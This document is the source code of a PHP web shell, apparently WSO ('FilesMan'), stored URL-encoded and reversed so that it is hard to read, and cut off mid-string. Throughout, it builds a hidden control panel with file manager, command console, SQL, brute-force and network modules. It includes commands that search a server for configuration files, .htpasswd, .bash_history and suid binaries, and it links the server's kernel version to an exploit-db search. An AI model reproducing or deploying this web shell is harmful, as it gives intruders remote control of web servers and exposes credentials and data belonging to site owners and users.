sop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22digrgteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28diuwpteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27diuwpteg_xisop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22diuwpteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%0D%0A%7D%0D%0A%3B%22%3Elmth%2F%3C%3Eydob%2F%3C%3Evid%2F%3C%3Eelbat%2F%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3E++rb%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+elif%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+daolpU%3Enaps%3C%09%09%0D%0A%3E%27%22+.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.+%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27eliFdaolpu%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27%22.+%5D%27dwc%27%5BSLABOLG%24+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27nAMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27atad-mrof%2Ftrapitlum%27%3DEPYTCNE+%27tsop%27%3Ddohtem+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3AetucexE%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.c.siht%2Cllun%2C%27elosnoC%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29%27elifkm%27%2Ceulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ed%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Arid+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.d.siht%2C%27ridkm%27%2Cllun%2C%27naMseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Aelif+daeR%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Arid+egnahC%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%22%5C%22%5C%2Ceulav.c.siht%2Cllun%28g%27%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%09%0D%0A%3E%27%3B333%23+dilos+xp2%3Amottob-redrob%3B333%23+dilos+xp2%3Apot-redrob%27%3Delyts++%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+lbTsloot%3Ddi+ofni%3Dssalc+elbat%3C%0D%0A%3Evid%2F%3C%0D%0A%22+ohce++++%0D%0A%3B%22%3Etnof%2F%3C%29elbatirw+toN%28%3Eder%3Droloc+tnof%3C+%22%3A%22%3Etnof%2F%3C%29elbaetirW%28%3E%27neerg%27%3Droloc+tnof%3C+%22%3F%29%5D%27dwc%27%5BSLABOLG%24%28elbatirw_si+%3D+elbatirw_si%24%09%0D%0A%7B+%29%28retooFosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3E%225%3Anigram%22%3Delyts+vid%3C%3Eelbat%2F%3C%3Ert%2F%3C%27+.+unem%24+.+%27%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+%22%3B333%23+dilos+xp2%3Apot-redrob%22%3Delyts+elbat%3C%27+.+++++++%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Erbon%2F%3C%27+.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.+%27%3Erb%3C%3Enaps%2F%3C%3API+tneilC%3Enaps%3C%3Erb%3C%27+.+%5D%22RDDA_REVRES%22%5BREVRES_%24%40+.+%27%3Erb%3C%3Enaps%2F%3C%3API+revreS%3Enaps%3C%3Erb%3C%3Etceles%2F%3C%3Epuorgtpo%2F%3C%27+.+stesrahc_tpo%24+.+%27%3E%22tesrahc+egaP%22%3Dlebal+puorgtpo%3C%3E%22%29eulav.siht%2Cllun%2Cllun%2Cllun%2Cllun%2Cllun%28g%22%3Degnahcno+tceles%3C%3Erbon%3C%3Ethgir%3Dngila+1%3Dhtdiw+dt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%27+.+sevird%24+.+%27%3Erb%3C%3Ea%2F%3C%5D+emoh+%5B%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27+.+%5D%27dwc_emoh%27%5BSLABOLG%24+.+%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+%29%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+.%27+%27+.+sknil_dwc%24+.+%27%3Erb%3C%29%25%27+.+%29001%2AecapSlatot%24%2FecapSeerf%24%28+%29tni%28+.%27%28+%27+.+%29ecapSeerf%24%28eziSweiVosw+.+%27+%3Enaps%2F%3C%3AeerF%3Enaps%3C+%27+.+%29ecapSlatot%24%28eziSweiVosw+.+%27%3Erb%3C%27+.+%29%27s%3Ai%3AH+d-m-Y%27%28etad+.+%27+%3Enaps%2F%3C%3AemitetaD%3Enaps%3C+%3Ea%2F%3C%5D+ofniphp+%5B%3E%22%29%27%5Cofni%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5CphP%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+++++++%0D%0A%29%27%3Etnof%2F%3C%3Eb%2F%3CFFO%3Eb%3C%3Eneerg%3Droloc+tnof%3C%27%3A%27%3Etnof%2F%3CNO%3Eder%3Droloc+tnof%3C%27%3F%5D%27edom_efas%27%5BSLABOLG%24%28+.+%27+%3Enaps%2F%3C%3Aedom+efaS%3Enaps%3C+%27+.+%29%28noisrevphp%40+.+%27%3Erb%3C%29+%27+.+puorg%24+.+%27+%28+%27+.+dig%24+.+%27+%3Enaps%2F%3C%3ApuorG%3Enaps%3C+%29+%27+.+resu%24+.+%27+%28+%27+.+diu%24+.+%27%3Erb%3C%3Erbon%2F%3C%3Ea%2F%3C%5Dmoc.bd-tiolpxe%5B%3Eknalb_%3Dtegrat+%22%27+.+knilpxe%24+.+%27%22%3Dferh+a%3C+%27+.+%29021+%2C0+%2C%29%28emanu_php%40%28rtsbus+.+%27%3Erbon%3C%3Edt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3C%27+.+%29%27%27%3A%27%3AsevirD%3Erb%3C%27%3F%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28+.+%27%3AdwC%3Erb%3C%3AddH%3Erb%3C%3AphP%3Erb%3C%3AresU%3Erb%3C%3AemanU%3Enaps%3C%3E1%3Dhtdiw+dt%3C%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+ofni%3Dssalc+elbat%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%27+%3Ea%2F%3C%5D+%27.evird%24.%27+%5B%3E%22%29%27%5C%2F%3A%27.evird%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%27+%3D.+sevird%24%09%09%09%0D%0A%29%29%27%5C%5C%3A%27.evird%24%28rid_si%28fi%09%09%0D%0A%29evird%24+sa+%29%27z%27%2C%27c%27%28egnar%28hcaerof%09%09%0D%0A%7B+%29%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%3B%22%22+%3D+sevird%24%09%0D%0A%0D%0A%3B%27%3Eht%2F%3C%5D+%3Ea%2F%3C%27.k%24.%27%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5C%27.v%24.%27%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%5B%3E%22%25%27.%29%29m%24%28tnuoc%2F001%28%29tni%28.%27%22%3Dhtdiw+ht%3C%27+%3D.+unem%24%09%09%0D%0A%29v%24+%3E%3D+k%24+sa+m%24%28hcaerof%09%0D%0A%3B%27%27+%3D+unem%24%09%0D%0A%3B%27evomeRfleS%27+%3D+%5D%27evomer+fleS%27%5Bm%24%09%0D%0A%3B%27tuogoL%27+%3D+%5D%27tuogoL%27%5Bm%24%09%09%0D%0A%29%29%5D%27ssap_htua%27%5BSLABOLG%24%28ytpme%21%28fi%09%0D%0A%3B%29%27krowteN%27%3E%3D%27krowteN%27%2C%27ecrofeturB%27%3E%3D%27ecrofeturB%27%2C%27slooTgnirtS%27%3E%3D%27sloot+gnirtS%27%2C%27phP%27%3E%3D%27phP%27%2C%27lqS%27%3E%3D%27lqS%27%2C%27elosnoC%27%3E%3D%27elosnoC%27%2C%27naMseliF%27%3E%3D%27seliF%27%2C%27ofnIceS%27%3E%3D%27ofnI+.ceS%27%28yarra+%3D+m%24%09%0D%0A%0D%0A%3B%27%3Enoitpo%2F%3C%27.meti%24.%27%3E%27.%29%27%27%3A%27detceles%27%3Fmeti%24%3D%3D%5D%27tesrahc%27%5BTSOP_%24%28.%27+%22%27.meti%24.%27%22%3Deulav+noitpo%3C%27+%3D.+stesrahc_tpo%24%09%09%0D%0A%29meti%24+sa+stesrahc%24%28hcaerof%09%0D%0A%3B%27%27+%3D+stesrahc_tpo%24%09%0D%0A%3B%29%27668pc%27+%2C%27U-8IOK%27+%2C%27R-8IOK%27+%2C%271521-swodniW%27+%2C%278-FTU%27%28yarra+%3D+stesrahc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%22%3Ea%2F%3C%2F%22.%5Di%24%5Bhtap%24.%22%3E%27%29%22%5C%22+%3D.+sknil_dwc%24%09%09%0D%0A%3B%27%2F%27.%5Dj%24%5Bhtap%24+%3D.+sknil_dwc%24%09%09%09%0D%0A%29%2B%2Bj%24+%3Bi%24%3D%3Cj%24+%3B0%3Dj%24%28rof%09%09%0D%0A%3B%22%22%5C%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%22+%3D.+sknil_dwc%24%09%09%0D%0A%7B+%29%2B%2Bi%24+%3B1-n%24%3Ci%24+%3B0%3Di%24%28rof%09%0D%0A%3B%29htap%24%28tnuoc%3Dn%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2C%22%2F%22%28edolpxe+%3D+htap%24%09%0D%0A%3B%27%27+%3D+sknil_dwc%24%09%0D%0A%0D%0A%7D%09%0D%0A%3B%5D%27dig%27%5Bdig%24+%3D+dig%24%09%09%0D%0A%3B%5D%27eman%27%5Bdig%24+%3D+puorg%24%09%09%0D%0A%3B%5D%27diu%27%5Bdiu%24+%3D+diu%24%09%09%0D%0A%3B%5D%27eman%27%5Bdiu%24+%3D+resu%24%09%09%0D%0A%3B%29%29%28digeteg_xisop%28digrgteg_xisop%40+%3D+dig%24%09%09%0D%0A%3B%29%29%28diueteg_xisop%28diuwpteg_xisop%40+%3D+diu%24%09%09%0D%0A%7B+esle+%7D%09%0D%0A%3B%22%3F%22+%3D+puorg%24%09%09%0D%0A%3B%29%28digymteg%40+%3D+dig%24%09%09%0D%0A%3B%29%28diuymteg%40+%3D+diu%24%09%09%0D%0A%3B%29%28resu_tnerruc_teg%40+%3D+resu%24%09%09%0D%0A%7B+%29%29%27digeteg_xisop%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%3B%29%293%2C0%2Cesaeler%24%28rtsbus+.+%27+%27+.+lenrek%24%28edocnelru+%3D.+knilpxe%24%09%09%0D%0Aesle%09%0D%0A%3B%29%296%2C0%2Cesaeler%24%28rtsbus+.+%27+lenreK+xuniL%27%28edocnelru+%3D.+knilpxe%24%09%09%0D%0A%29eslaf+%3D%3D%21+%29lenrek%24+%2C%27xuniL%27%28soprts%28fi%09%0D%0A%3B%27%3Dnoitpircsed_retlif%26hcraes%3Dnoitca%3F%2Fhcraes%2Fmoc.bd-tiolpxe%2F%2F%3Aptth%27+%3D+knilpxe%24%09%0D%0A%3B%29%27s%27%28emanu_php%40+%3D+lenrek%24%09%0D%0A%3B%29%27r%27%28emanu_php%40+%3D+esaeler%24%09%0D%0A%3B1%3AecapSlatot%24%3FecapSlatot%24+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecaps_latot_ksid%40+%3D+ecapSlatot%24%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ecapseerfksid%40+%3D+ecapSeerf%24%09%0D%0A%3B%22%3Emrof%2F%3C%0D%0A%3Etesrahc%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E3p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E2p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E1p%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ec%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3Ea%3Deman+neddih%3Depyt+tupni%3C%0D%0A%3E%27%3Benon%3Ayalpsid%27%3Delyts+fm%3Deman+tsop%3Ddohtem+mrof%3C%0D%0A%3E%27%3B0%3Atfel%3B0%3Apot%3B444%23%3Aroloc-dnuorgkcab%3B%25001%3Ahtdiw%3Betulosba%3Anoitisop%27%3Delyts+vid%3C%3Eydob%3C%3Edaeh%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3B%29%27%21rorre+tseuqeR%27%28trela+esle+%7D%09%09%09%0D%0A%3B%29%29%5D1%5Brra+%2C0%28rtsbus.%5D2%5Brra%28lave%09%09%09%09%0D%0A%3B%29txeTesnopser.qer%28cexe.ger%3Drra+rav%09%09%09%09%0D%0A%3B%29%27m%27+%2C%22%5C%29%2A%5Ds%5C%5C%5C%5CS%5C%5C%5C%5C%5B%28%29%2Bd%5C%5C%5C%5C%28%22%5C%28pxEgeR+wen+%3D+ger+rav%09%09%09%09%0D%0A%7B+%29002+%3D%3D+sutats.qer%28fi%09%09%09%0D%0A%29+%294+%3D%3D+etatSydaer.qer%28+%28fi%09%09%0D%0A%7B+%29%28egnahCqeRssecorp+noitcnuf%09%0D%0A%7D%09%0D%0A%7D++++++++%0D%0A%3B%29smarap%28dnes.qer++++++++++++%0D%0A%3B%29%27dedocnelru-mrof-www-x%2Fnoitacilppa%27+%2C%27epyT-tnetnoC%27%28+redaeHtseuqeRtes.qer++++++++++++%0D%0A%3B%29eurt+%2Clru+%2C%27TSOP%27%28nepo.qer++++++++++++%0D%0A%3BegnahCqeRssecorp+%3D+egnahcetatsydaerno.qer++++++++++++%0D%0A%7B+%29qer%28+fi++++++++%0D%0A%3B%29%27PTTHLMX.tfosorciM%27%28tcejbOXevitcA+wen+%3D+qer%09%09%09%0D%0A%29tcejbOXevitcA.wodniw%28+fi+esle%09%09%0D%0A%3B%29%28tseuqeRpttHLMX+wen+%3D+qer%09%09%09%0D%0A%29tseuqeRpttHLMX.wodniw%28+fi%09%09%0D%0A%7B+%29smarap+%2Clru%28rs+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29smarap+%2C%27%22.+%29%5D%27IRU_TSEUQER%27%5BREVRES_%24%28sehsalsdda+.+%22%27%28rs%09%09%0D%0A%3B%29eulav.%5Di%5Bstnemele.fm.d%28tnenopmoCIRUedocne%2B%27%3D%27%2Beman.%5Di%5Bstnemele.fm.d%2B%27%26%27+%3D%2B+smarap%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.fm.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%3B%27eurt%3Dxaja%27+%3D+smarap+rav%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28a+noitcnuf%09%0D%0A%7D%09%0D%0A%3B%29%28timbus.fm.d%09%09%0D%0A%3B%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28g+noitcnuf%09%0D%0A%7D%09%0D%0A%3B_tesrahc%3Deulav.tesrahc.fm.d+esle%3Btesrahc%3Deulav.tesrahc.fm.d%29llun%3D%21tesrahc%28fi%09%09%0D%0A%3B_3p%3Deulav.3p.fm.d+esle%3B3p%3Deulav.3p.fm.d%29llun%3D%213p%28fi%09%09%0D%0A%3B_2p%3Deulav.2p.fm.d+esle%3B2p%3Deulav.2p.fm.d%29llun%3D%212p%28fi%09%09%0D%0A%3B_1p%3Deulav.1p.fm.d+esle%3B1p%3Deulav.1p.fm.d%29llun%3D%211p%28fi%09%09%0D%0A%3B_c%3Deulav.c.fm.d+esle%3Bc%3Deulav.c.fm.d%29llun%3D%21c%28fi%09%09%0D%0A%3B_a%3Deulav.a.fm.d+esle%3Ba%3Deulav.a.fm.d%29llun%3D%21a%28fi%09%09%0D%0A%7B+%29tesrahc%2C3p%2C2p%2C1p%2Cc%2Ca%28tes+noitcnuf%09%0D%0A%3Btnemucod+%3D+d+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%273p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%273p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_3p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%272p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%272p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_2p+rav++++%0D%0A%3B%27%22.+%29%29SETOUQ_TNE%2C%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3A%27%27%3F%29eslaf%3D%3D%21%29%22n%5C%22%2C%5D%271p%27%5BTSOP_%24%40%28soprts%28%28+.+%22%27+%3D+_1p+rav++++%0D%0A%3B%27%22.+%29%5D%27tesrahc%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_tesrahc+rav++++%0D%0A%27%22.+%29%5D%27a%27%5BTSOP_%24%40%28srahclaicepslmth+.+%22%27+%3D+_a+rav++++%0D%0A%3B%27%22+.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27+%3D+_c+rav++++%0D%0A%3Etpircs%3C%0D%0A%3Eelyts%2F%3C%0D%0A%7D%3BecapsonoM%2CreiruoC%3Aylimaf-tnof%7Berp%0D%0A%7D333%23%3Aroloc-dnuorgkcab%7B2l.%0D%0A%7D444%23%3Aroloc-dnuorgkcab%7B1l.%0D%0A%7De5e5e5%23%3Aroloc-dnuorgkcab%7Brevoh%3Art+niam.%0D%0A%7D%3Be5e5e5%23%3Aroloc-dnuorgkcab%3Btfel%3Angila-txet%7Bht+niam.%0D%0A%7D+xp003+%3Ahtdiw+%7BpnIsloot.%0D%0A%7D+%3Bretnec%3Angila-txet+%7BlbTsloot%23%0D%0A%7D+%3Bxp0%3Anigram+%7Bmrof%0D%0A%7D+%3B%27weN+reiruoC%27%2CecapsonoM+tp9+%3Atnof+%3Broloc%24+dilos+xp1%3Aredrob%3B555%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc%3B0%3Anigram+%7Btceles%2Caeratxet%2Ctupni%0D%0A%7D+%3Bxp003%3Athgieh%3B%25001%3Ahtdiw+%7Baeragib.%0D%0A%7D+%3Botua+%3Awolfrevo%3B0%3Anigram%3Bxp5%3Agniddap%3B444%23+dilos+xp1%3Aredrob+%7B1lm.%0D%0A%7D+%3Benilrednu%3Anoitaroced-txet+%7Brevoh%3Aa%0D%0A%7D+%3Benon%3Anoitaroced-txet+%7Ba%0D%0A%7D+%3B333%23%3Aroloc-dnuorgkcab%3Bxp5%3Atfel-nigram%3Bxp5+%3Agniddap+%7Btnetnoc.vid%0D%0A%7D+%3Bxp0%3Anigram%3B222%23%3Aroloc-dnuorgkcab%3BanadreV+tp41+%3Atnof%3Bxp5+xp2+%3Agniddap%3Broloc%24+dilos+xp5%3Atfel-redrob+%7B1h%0D%0A%7D+%3Bredlob+%3Athgiew-tnof+%7Bnaps%0D%0A%7D+%3Btnatropmi%21+roloc%24+%3Aroloc+%7Ba%2C1h%2Cnaps%0D%0A%7D+%3B222%23%3Aroloc-dnuorgkcab%3Bfff%23%3Aroloc+%7Bofni.elbat%0D%0A%7D+%3B1e1e1e%23%3Aroloc%3Bpot%3Angila-lacitrev%3B0%3Anigram%3BanadreV%2CadicuL+tp9+%3Atnof+%7Bht%2Cdt%2Cydob%0D%0A%7D%3B1e1e1e%23%3Aroloc%3B444%23%3Aroloc-dnuorgkcab%7Bydob%0D%0A%3Eelyts%3C%0D%0A%3Eeltit%2F%3C%22.+NOISREV_OSW+.+%22+OSW+-+%22+.+%5D%27TSOH_PTTH%27%5BREVRES_%24+.+%22%3Eeltit%3C%3E%27%22+.+%5D%27tesrahc%27%5BTSOP_%24+.+%22%3Dtesrahc+%3Blmth%2Ftxet%27%3Dtnetnoc+%27epyT-tnetnoC%27%3Dviuqe-ptth+atem%3C%3Edaeh%3C%3Elmth%3C%22+ohce%09%0D%0A%3Broloc%24+labolg%09%0D%0A%3B%5D%27tesrahc_tluafed%27%5BSLABOLG%24+%3D+%5D%27tesrahc%27%5BTSOP_%24%09%09%0D%0A%29%29%5D%27tesrahc%27%5BTSOP_%24%28ytpme%28fi%09%0D%0A%7B+%29%28redaeHosw+noitcnuf%0D%0A%0D%0A%3B%29%09%0D%0A%22virp+etacol%22+%3E%3D+%22selif+virp+etacol%22%09%09%0D%0A%2C%22pmud+etacol%22+%3E%3D+%22selif+pmud+etacol%22%09%09%0D%0A%2C%22pukcab+etacol%22+%3E%3D+%22selif+pukcab+etacol%22%09%09%0D%0A%2C%22%27crliamhctef.%27+etacol%22+%3E%3D+%22selif+crliamhctef.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_lqsym.%27+etacol%22+%3E%3D+%22selif+yrotsih_lqsym.+etacol%22%09%09%0D%0A%2C%22%27yrotsih_hsab.%27+etacol%22+%3E%3D+%22selif+yrotsih_hsab.+etacol%22%09%09%0D%0A%2C%22%27dwssapth.%27+etacol%22+%3E%3D+%22selif+dwssapth.+etacol%22%09%09%0D%0A%2C%22%27lqs.%27+etacol%22+%3E%3D+%22selif+lqs.+etacol%22%09%09%0D%0A%2C%22%27dwp.%27+etacol%22+%3E%3D+%22selif+dwp.+etacol%22%09%09%0D%0A%2C%22%27fnoc.%27+etacol%22%3E%3D%22selif+fnoc.+etacol%22%09%09%0D%0A%2C%22gifnoc+etacol%22+%3E%3D+%22+selif+%2Agifnoc+etacol%22%09%09%0D%0A%2C%22php.tluafed.gifnoc+etacol%22+%3E%3D+%22selif+php.tluafed.gifnoc+etacol%22%09%09%0D%0A%2C%22php.cni.gifnoc+etacol%22+%3E%3D+%22php.cni.gifnoc+etacol%22%09%09%0D%0A%2C%22cni.gifnoc+etacol%22+%3E%3D+%22selif+cni.gifnoc+etacol%22%09%09%0D%0A%2C%22php.gifnoc+etacol%22+%3E%3D+%22selif+php.gifnoc+etacol%22%09%09%0D%0A%2C%22tad.gifnoc+etacol%22+%3E%3D+%22selif+tad.gifnoc+etacol%22%09%09%0D%0A%2C%22php.fnoc+etacol%22+%3E%3D+%22selif+php.fnoc+etacol%22%09%09%0D%0A%2C%22php.gfc+etacol%22+%3E%3D+%22selif+php.gfc+etacol%22%09%09%0D%0A%2C%22php.nimda+etacol%22%3E%3D+%22selif+php.nimda+etacol%22%09%09%0D%0A%2C%22fnoc.ym+etacol%22+%3E%3D+%22selif+fnoc.ym+etacol%22%09%09%0D%0A%2C%22fnoc.cnbysp+etacol%22+%3E%3D+%22selif+fnoc.cnbysp+etacol%22%09%09%0D%0A%2C%22fnoc.dptforp+etacol%22+%3E%3D+%22selif+fnoc.dptforp+etacol%22%09%09%0D%0A%2C%22fnoc.stsohv+etacol%22+%3E%3D+%22selif+fnoc.stsohv+etacol%22%09%09%0D%0A%2C%22fnoc.dptth+etacol%22+%3E%3D+%22selif+fnoc.dptth+etacol%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22etacoL%22%09%09%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+crliamhctef.+dnif%22%09%09++%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+crliamhctef.+lla+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+yrotsih_hsab.+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+yrotsih_hsab.+lla+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwssapth.+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwssapth.+lla+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwp.ecivres+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwp.ecivres+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+%2F+dnif%22+%3E%3D+%22selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22php.cni.gifnoc+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+php.cni.gifnoc+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+digs+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+digs+lla+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dius+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dius+lla+dnif%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22dniF%22%09%09%0D%0A%2C%22xua+sp%22+%3E%3D+%22sutats+ssecorp%22++++++++%0D%0A%2C%22netsil+i-+perg+%7C+na-+tatsten%22+%3E%3D+%22strop+denepo+wohs%22%09%09++%0D%0A%2C%22av-+rttasl%22+%3E%3D+%22metsys+elif+dednetxe+dnoces+xuniL+a+no+setubirtta+elif+tsil%22%09%09%0D%0A%2C%22ahl-+sl%22+%3E%3D+%22rid+tsiL%22%09%09++%0D%0A%28yarra+%3D+sesaila%24%09%0D%0Aesle%0D%0A%3B%29%09%0D%0A%22lla%2F+gifnocpi%22+%3E%3D+%22noitarugifnoC+PI%22%09%09%0D%0A%2C%22a-+pra%22+%3E%3D+%22elbaT+PRA%22%09%09%0D%0A%2C%22weiv+ten%22+%3E%3D+%22sretupmoc+wohS%22%09++++%0D%0A%2C%22resu+ten%2